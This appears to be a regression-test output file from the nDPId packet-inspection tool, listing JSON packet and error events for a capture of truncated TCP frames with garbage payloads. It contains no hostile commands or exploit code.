-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8055,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301488} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8056,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301500} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8057,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301514} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8058,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301526} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8059,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301539} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8060,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301551} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8061,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301564} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8062,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301577} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8063,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301591} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8064,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301604} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8065,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301616} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8066,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301629} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8067,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301641} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8068,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301653} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8069,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301668} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8070,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301681} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8071,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301693} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8072,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301706} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8073,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301718} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":8074,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301731} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8075,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301743} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301757} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301770} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301782} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301795} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301807} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301819} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301832} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301844} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301857} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301872} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":8086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301885} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301897} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301915} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301928} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301940} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301955} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301968} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301982} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032301994} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302006} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302018} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302032} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032298278,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032302046} 